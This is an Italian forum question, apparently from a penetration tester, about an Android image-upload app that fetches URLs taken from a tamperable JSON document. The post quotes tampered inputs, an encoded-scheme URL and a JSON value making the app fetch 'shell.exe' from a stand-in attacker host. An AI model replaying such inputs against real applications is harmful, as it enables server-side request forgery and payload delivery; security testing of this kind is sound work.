Sono occupato con un pentest e ho trovato qualcosa che mi ha fatto chiedere se sarebbe stato sfruttabile. Al momento non sono in grado di sfruttarlo, ma volevo esserne sicuro. Inoltre sono curioso del perché l'applicazione / server si comporta come fa.
Questa è la funzionalità:
- L'applicazione ti consente di caricare immagini nel cloud e restituire un URL in cui l'immagine è
- L'applicazione invia quindi l'URL di ritorno al server in cui è memorizzato in modo che altre persone trovino le immagini tramite l'URL
- Basandosi su alcune parti dell'URL, gli utenti ottengono un certo URL diverso in un documento JSON con tutte le immagini:
diventa:
{"URL":"https://res.cloud.com/app/image/param1,param2,param3/something/picture1.jpg"}
- Questo documento JSON viene quindi utilizzato per creare richieste GET sull'URL esatto (secondo)
Questa è la "vulnerabilità":
-
Modifica dell'URL nel modo seguente:
http%73://myevilurl.org/pic1.jpg?https://res.cloud.com/app/image/something/picture1.jpg
-
l'utente ottiene quindi qualcosa nel documento JSON sotto forma di:
{"URL":"http%73://myevilurl.org/pic1.jpg?https://res/cloud.com/app/image/something/picture1.jpg"}
-
Quale mi aspetterei che l'applicazione provi semplicemente a GET, ma l'applicazione in qualche modo fa una richiesta GET a:
https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^
Dato che questo è un test in corso, non posso davvero entrare nei dettagli (riservatezza e tutto!). Quindi spero che questo fornisca sufficienti informazioni.
EDIT: Ciò che ho omesso di menzionare sopra è che quando manometto il JSON in arrivo e inserisco semplicemente qualsiasi URL con HTTPS nella stringa JSON, l'applicazione tenta di ottenere quell'URL preciso. Quindi cambio il JSON in qualcosa del genere:
{"URL" : "https://myevilurl.org/shell.exe"}
L'applicazione prova effettivamente a GET shell.exe dal mio server. Questo non funziona quando provo con% 73 invece di un s.
Modifica2: Ciò che ho omesso di menzionare è che questa è un'app per Android.